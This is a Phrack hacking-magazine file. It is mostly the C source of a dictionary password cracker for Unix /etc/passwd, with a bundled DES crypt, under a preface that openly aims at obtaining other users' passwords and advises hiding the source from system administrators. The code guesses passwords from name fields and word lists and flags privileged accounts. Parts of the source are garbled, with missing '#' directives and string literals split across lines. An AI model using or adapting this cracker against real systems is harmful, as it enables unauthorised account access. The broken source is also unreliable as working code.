                                ==Phrack Inc.==

                      Volume Two, Issue 22, File 6 of 12

            ()()()()()()()()()()()()()()()()()()()()()()()()()()()
            ()()                                              ()()
            ()         Yet Another File On Hacking Unix!        ()
            ()         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~        ()
            ()                        By                        ()
            ()                                                  ()
            ()                  >Unknown User<                  ()
            ()      A special "ghost" writer of Phrack Inc.     ()
            ()()                                              ()()
            ()()()()()()()()()()()()()()()()()()()()()()()()()()()


Greetings from The Unix Front...

I am unable to use my real alias since it has now become too well known and
others are able to associate it with my real name.  Let us just say that I have
been around for a long time, and can you say "Code Buster"?  Obsolete now,
nonetheless taught many how to write better ones.

The following C code will enable you to ferret out poorly constructed passwords
from /etc/passwd.  What I mean by poor passwords is obvious, these consist of
passwords based on the user's name, and even words found in the dictionary.
The most secure password is one that has been constructed from nonsense words,
odd combinations of one word, with control characters and numbers thrown in.
My program is not able to deal with a decent password, nor did I intend it to.
To write something capable of dealing with a secure password would have been
incredibly complex, and take weeks to run on even the fastest of cpu's.

Locate a dictionary file from your nearest Unix system.  This is commonly
located in /usr/dict/words.  These files will vary from 200K to 5 Megabytes.
The more words your dictionary file has in it, the more effective this program
will be.  The program can do a quick scan based on just the identifying name
fields in /etc/passwd or perform a complete scan using the dictionary file.  It
basically compares one /etc/passwd entry to each word in your dictionary file,
until it finds the password, or reaches eof,and begins the scan on the next
password.

It will take days to process a large /etc/passwd file.  When you re-direct the
output to a log file, make sure you run some sort of cron daemon that will
extract any decoded passwords, and then nulls the log file.  I can suggest
/bin/nohup for this task since you can log off and the task continues to run.
Otherwise, the log file can grow to be megabytes depending on the actual size
of the /etc/passwd file and your dictionary..This program,while written with
one purpose in mind (obtaining passwords),is also a positive contribution to
Unix System Administrators.

I run this on several systems nightly, to protect myself!  Scanning for user
passwords that are easy to hack, and for other insecure conditions ensures that
my own systems will not be breached.  Unix is still not a secure system, and
restoring gigabyte file systems is no fun.

I have made the software as portable as possible.  It is known to compile on
all BSD variants, and System V.  I don't suggest that you leave the source
laying around on just any system, most System Administrators are known to be
particularly nosy <smile>.  If you do, for God's sake crypt the damned file.

These are hard times we have fallen into.  The thrill of the telephone network
is no more.  Mere experimentation is riskier than ever.  There is little left,
but intellectual challenges in mastering system software and writing
interesting software for most of us.  As we all get older, the risks have grown
less attractive versus the few gains.  Someday when I am able to transfer five
or six million into my account in Zurich, I may chance it.  Until then, may I
take the time to wish you all good luck in your endeavors, and be careful!

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

/* Beginning of Program */

include <sys/stdio.h>
include <sys/ctype.h>
include <sys/signal.h>

define TRUE 1
define FALSE 0

int trace = FALSE;
char *dict = NULL;
char *word = NULL;
char *pwdfile = NULL;
char *startid = NULL;
FILE *pwdf;
FILE *dictf;
FILE *logf;
char nextword[64];
char preread = FALSE;
char pbuf[256];
char id[64];
char pw[64];
char goodpw[64];

main(argc,argv)
int argc;
char **argv;
{
char *passwd;
char *salt;
char *s;
char *crypt();
char xpw[64];
char pw2[64];
char dummy[64];
char comments[64];
char shell[64];
char dictword[64];
char gotit;
char important;
extern int optind;
extern char *optarg;
int option;
int cleanup();
int tried;
long time();

signal(SIGTERM,cleanup);
signal(SIGQUIT,cleanup);
signal(SIGHUP,cleanup);

while ((option = getopt(argc,argv, "d:i:p:tw:")) != EOF)
        switch(option) {
        case 'd':
                dict = optarg;
                break;

        case 'i':
                startid = optarg;
                break;

        case 'p':
                pwdfile = optarg;
                break;

        case 't':
                ++trace;
                break;

        case 'w':
                word = optarg;
                break;

        default:
                help();
        }

if (optind < argc)
        help();

if (!pwdfile)
        pwdfile = "/etc/passwd";

openpw();
if (dict)
        opendict();

while(TRUE) {
        if (preread)
                preread = FALSE;
        else
                if (!fgets(pbuf,sizeof(pbuf),pwdf))
                        break;
        parse(id,pbuf,':');
        parse(xpw,pbuf,':');
        parse(pw,xpw,',');
        if (*pw && strlen(pw) != 13)
                continue;
        parse(dummy,pbuf,':');
        important = (atoi(dummy) < 5);
        parse(dummy,pbuf,':');
        parse(comments,pbuf,':');
        gotit = !*pw;
        if (!gotit && *comments) {
                strcpy(pw2,pw);
                do {
                        sparse(pw2,comments);
                        if (!*pw2) continue;
                        if (allnum(pw2)) continue;
                        gotit = works(pw2);
                        if (!gotit)
                                if (hasuc(pw2)) {
                                        lcase(pw2);
                                        gotit = works(pw2);
                                }
                } while (!gotit && *comments);
                if (!gotit)
                        gotit = works(id);
        }
        if (!gotit && dict) {
                resetdict();
                tried = 0;
                do {
                        if (works(nextword)) {
                                gotit = TRUE;
                                break;
                        }
                        if (++tried == 100) {
                                printf("    <%8s> @
%ld\n",nextword,time(NULL));
                                fflush(stdout);
                                tried = 0;
                        }
                } while(readdict());
        }
        if (gotit) {
                if (*pw)
                        printf("** %8s \t- Password is %s\n",id,goodpw);
                else {
                        parse(shell,pbuf,':');
                        parse(shell,pbuf,':');
                        shell[strlen(shell)-1] = 0;
                        printf("   %8s \t- Open Login (Shell=%s)\n",id,shell);
                }
                if (important)
                        printf("--------------------------------------------
Loo
k!\n");
        }
        else    printf("   %8s \t- Failed\n",id);
}

cleanup();
exit(0);

}


help()
{
fprintf(stderr,"Scan by The Unix Front\n");
fprintf(stderr,"usage: scan [-ddict] [-iid] [-ppfile] [-t] [-wword]\n");
exit(1);

}

cleanup()
{

if (logf)
        fclose(logf);

}


openpw()
{
char dummy[256];
char id[256];

if (!(pwdf = fopen(pwdfile,"r"))) {
        fprintf("Error opening specified password file: %s\n",pwdfile);
        exit(2);
}
if (startid) {
        while(TRUE) {
                if (!(fgets(pbuf,sizeof(pbuf),pwdf))) {
                        fprintf(stderr,"Can't skip to id '%s'\n",startid);
                        exit(3);
                }
                strcpy(dummy,pbuf);
                parse(id,dummy,':');
                if (!strcmp(id,startid)) {
                        preread = TRUE;
                        return;
                }
        }
}

}

/* Where's the dictionary file dummy! */

opendict()
{

if (!(dictf = fopen(dict,"r"))) {
        fprintf("Error opening specified dictionary: %s\n",dict);
        exit(4);
}

}

resetdict()
{
char *p;

rewind(dictf);

if (word) {
        while(TRUE) {
                if (!(fgets(nextword,sizeof(nextword),dictf))) {
                        fprintf(stderr,"Can't start with specified word
'%s'\n",
word);
                        exit(3);
                }
                if (*nextword) {
                        p = nextword + strlen(nextword);
                        *--p = 0;
                }
                if (!strcmp(word,nextword))
                        return;
        }
}
else    if (!(fgets(nextword,sizeof(nextword),dictf)))
                fprintf(stderr,"Empty word file: %s\n",dict);
        else    if (*nextword) {
                        p = nextword + strlen(nextword);
                        *--p = 0;
                }

}


readdict()
{
int sts;
char *p;

sts = fgets(nextword,sizeof(nextword),dictf);
if (*nextword) {
        p = nextword + strlen(nextword);
        *--p = 0;
}
return sts;

}



works(pwd)
char *pwd;
{
char *s;

if (trace)
        printf(">> %8s \t- trying %s\n",id,pwd);
s = crypt(pwd,pw);
if (strcmp(s,pw))
        return FALSE;

strcpy(goodpw,pwd);

return TRUE;

}



parse(s1,s2,t1)
register char *s1;
register char *s2;
char t1;
{
char *t2;

t2 = s2;
while (*s2) {
        if (*s2 == t1) {
                s2++;
                break;
        }
        *s1++ = *s2++;
}
*s1 = 0;
while (*t2++ = *s2++);

}

sparse(s1,s2)
register char *s1;
register char *s2;
{
char *t2;

t2 = s2;
while (*s2) {
        if (index(" ()[]-/.",*s2)) {
                s2++;
                break;
        }
        *s1++ = *s2++;
}
*s1 = 0;
while (*t2++ = *s2++);

}

hasuc(s)
register char *s;
{

while (*s)
        if (isupper(*s++)) return TRUE;

return FALSE;

}

allnum(s)
register char *s;
{

while(*s)
        if (!isdigit(*s++)) return FALSE;

return TRUE;

}

lcase(s)
register char *s;
{

while(*s) {
        if (isupper(*s))
                *s = tolower(*s);
        ++s;
}

}

ifdef HACKED

define void int

static char IP[] = {
        58,50,42,34,26,18,10, 2,
        60,52,44,36,28,20,12, 4,
        62,54,46,38,30,22,14, 6,
        64,56,48,40,32,24,16, 8,
        57,49,41,33,25,17, 9, 1,
        59,51,43,35,27,19,11, 3,
        61,53,45,37,29,21,13, 5,
        63,55,47,39,31,23,15, 7,
};

static char FP[] = {
        40, 8,48,16,56,24,64,32,
        39, 7,47,15,55,23,63,31,
        38, 6,46,14,54,22,62,30,
        37, 5,45,13,53,21,61,29,
        36, 4,44,12,52,20,60,28,
        35, 3,43,11,51,19,59,27,
        34, 2,42,10,50,18,58,26,
        33, 1,41, 9,49,17,57,25,
};

static char PC1_C[] = {
        57,49,41,33,25,17, 9,
         1,58,50,42,34,26,18,
        10, 2,59,51,43,35,27,
        19,11, 3,60,52,44,36,
};

static char PC1_D[] = {
        63,55,47,39,31,23,15,
         7,62,54,46,38,30,22,
        14, 6,61,53,45,37,29,
        21,13, 5,28,20,12, 4,
};

static char shifts[] = { 1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1, };

static char PC2_C[] = {
        14,17,11,24, 1, 5,
         3,28,15, 6,21,10,
        23,19,12, 4,26, 8,
        16, 7,27,20,13, 2,
};

static char PC2_D[] = {
        41,52,31,37,47,55,
        30,40,51,45,33,48,
        44,49,39,56,34,53,
        46,42,50,36,29,32,
};

static char C[28];
static char D[28];
static char KS[16][48];
static char E[48];
static char e2[] = {
        32, 1, 2, 3, 4, 5,
         4, 5, 6, 7, 8, 9,
         8, 9,10,11,12,13,
        12,13,14,15,16,17,
        16,17,18,19,20,21,
        20,21,22,23,24,25,
        24,25,26,27,28,29,
        28,29,30,31,32, 1,
};

void
setkey(key)
char    *key;
{
        register int i, j, k;
        int     t;

        for(i=0; i < 28; i++) {
                C[i] = key[PC1_C[i]-1];
                D[i] = key[PC1_D[i]-1];
        }

        for(i=0; i < 16; i++) {


                for(k=0; k < shifts[i]; k++) {
                        t = C[0];
                        for(j=0; j < 28-1; j++)
                                C[j] = C[j+1];
                        C[27] = t;
                        t = D[0];
                        for(j=0; j < 28-1; j++)
                                D[j] = D[j+1];
                        D[27] = t;
                }


                for(j=0; j < 24; j++) {
                        KS[i][j] = C[PC2_C[j]-1];
                        KS[i][j+24] = D[PC2_D[j]-28-1];
                }
        }

        for(i=0; i < 48; i++)
                E[i] = e2[i];
}

static char S[8][64] = {
        14, 4,13, 1, 2,15,11, 8, 3,10, 6,12, 5, 9, 0, 7,
         0,15, 7, 4,14, 2,13, 1,10, 6,12,11, 9, 5, 3, 8,
         4, 1,14, 8,13, 6, 2,11,15,12, 9, 7, 3,10, 5, 0,
        15,12, 8, 2, 4, 9, 1, 7, 5,11, 3,14,10, 0, 6,13,

        15, 1, 8,14, 6,11, 3, 4, 9, 7, 2,13,12, 0, 5,10,
         3,13, 4, 7,15, 2, 8,14,12, 0, 1,10, 6, 9,11, 5,
         0,14, 7,11,10, 4,13, 1, 5, 8,12, 6, 9, 3, 2,15,
        13, 8,10, 1, 3,15, 4, 2,11, 6, 7,12, 0, 5,14, 9,

        10, 0, 9,14, 6, 3,15, 5, 1,13,12, 7,11, 4, 2, 8,
        13, 7, 0, 9, 3, 4, 6,10, 2, 8, 5,14,12,11,15, 1,
        13, 6, 4, 9, 8,15, 3, 0,11, 1, 2,12, 5,10,14, 7,
         1,10,13, 0, 6, 9, 8, 7, 4,15,14, 3,11, 5, 2,12,

         7,13,14, 3, 0, 6, 9,10, 1, 2, 8, 5,11,12, 4,15,
        13, 8,11, 5, 6,15, 0, 3, 4, 7, 2,12, 1,10,14, 9,
        10, 6, 9, 0,12,11, 7,13,15, 1, 3,14, 5, 2, 8, 4,
         3,15, 0, 6,10, 1,13, 8, 9, 4, 5,11,12, 7, 2,14,

         2,12, 4, 1, 7,10,11, 6, 8, 5, 3,15,13, 0,14, 9,
        14,11, 2,12, 4, 7,13, 1, 5, 0,15,10, 3, 9, 8, 6,
         4, 2, 1,11,10,13, 7, 8,15, 9,12, 5, 6, 3, 0,14,
        11, 8,12, 7, 1,14, 2,13, 6,15, 0, 9,10, 4, 5, 3,

        12, 1,10,15, 9, 2, 6, 8, 0,13, 3, 4,14, 7, 5,11,
        10,15, 4, 2, 7,12, 9, 5, 6, 1,13,14, 0,11, 3, 8,
         9,14,15, 5, 2, 8,12, 3, 7, 0, 4,10, 1,13,11, 6,
         4, 3, 2,12, 9, 5,15,10,11,14, 1, 7, 6, 0, 8,13,

         4,11, 2,14,15, 0, 8,13, 3,12, 9, 7, 5,10, 6, 1,
        13, 0,11, 7, 4, 9, 1,10,14, 3, 5,12, 2,15, 8, 6,
         1, 4,11,13,12, 3, 7,14,10,15, 6, 8, 0, 5, 9, 2,
         6,11,13, 8, 1, 4,10, 7, 9, 5, 0,15,14, 2, 3,12,

        13, 2, 8, 4, 6,15,11, 1,10, 9, 3,14, 5, 0,12, 7,
         1,15,13, 8,10, 3, 7, 4,12, 5, 6,11, 0,14, 9, 2,
         7,11, 4, 1, 9,12,14, 2, 0, 6,10,13,15, 3, 5, 8,
         2, 1,14, 7, 4,10, 8,13,15,12, 9, 0, 3, 5, 6,11,
};

static char P[] = {
        16, 7,20,21,
        29,12,28,17,
         1,15,23,26,
         5,18,31,10,
         2, 8,24,14,
        32,27, 3, 9,
        19,13,30, 6,
        22,11, 4,25,
};


static char L[32], R[32];
static char tempL[32];
static char f[32];
static char preS[48];

void
encrypt(block, edflag)
char    *block;
int     edflag;
{
        int     i, ii;
        register int t, j, k;

        for(j=0; j < 64; j++)
                L[j] = block[IP[j]-1];

        for(ii=0; ii < 16; ii++) {

                if(edflag)
                        i = 15-ii;
                else
                        i = ii;

                for(j=0; j < 32; j++)
                        tempL[j] = R[j];

                for(j=0; j < 48; j++)
                        preS[j] = R[E[j]-1] ^ KS[i][j];

                for(j=0; j < 8; j++) {
                        t = 6*j;
                        k = S[j][(preS[t+0]<<5)+
                                (preS[t+1]<<3)+
                                (preS[t+2]<<2)+
                                (preS[t+3]<<1)+
                                (preS[t+4]<<0)+
                                (preS[t+5]<<4)];
                        t = 4*j;
                        f[t+0] = (k>>3)&01;
                        f[t+1] = (k>>2)&01;
                        f[t+2] = (k>>1)&01;
                        f[t+3] = (k>>0)&01;
                }

                for(j=0; j < 32; j++)
                        R[j] = L[j] ^ f[P[j]-1];

                for(j=0; j < 32; j++)
                        L[j] = tempL[j];
        }

        for(j=0; j < 32; j++) {
                t = L[j];
                L[j] = R[j];
                R[j] = t;
        }

        for(j=0; j < 64; j++)
                block[j] = L[FP[j]-1];
}

char *
crypt(pw, salt)
char    *pw, *salt;
{
        register int i, j, c;
        int     temp;
        static char block[66], iobuf[16];

        for(i=0; i < 66; i++)
                block[i] = 0;
        for(i=0; (c= *pw) && i < 64; pw++) {
                for(j=0; j < 7; j++, i++)
                        block[i] = (c>>(6-j)) & 01;
                i++;
        }

        setkey(block);

        for(i=0; i < 66; i++)
                block[i] = 0;

        for(i=0; i < 2; i++) {
                c = *salt++;
                iobuf[i] = c;
                if(c > 'Z')
                        c -= 6;
                if(c > '9')
                        c -= 7;
                c -= '.';
                for(j=0; j < 6; j++) {
                        if((c>>j) & 01) {
                                temp = E[6*i+j];
                                E[6*i+j] = E[6*i+j+24];
                                E[6*i+j+24] = temp;
                        }
                }
        }

        for(i=0; i < 25; i++)
                encrypt(block, 0);

        for(i=0; i < 11; i++) {
                c = 0;
                for(j=0; j < 6; j++) {
                        c <<= 1;
                        c |= block[6*i+j];
                }
                c += '.';
                if(c > '9')
                        c += 7;
                if(c > 'Z')
                        c += 6;
                iobuf[i+2] = c;
        }
        iobuf[i+2] = 0;
        if(iobuf[1] == 0)
                iobuf[1] = iobuf[0];
        return(iobuf);
}

endif

/* end of program */
_______________________________________________________________________________
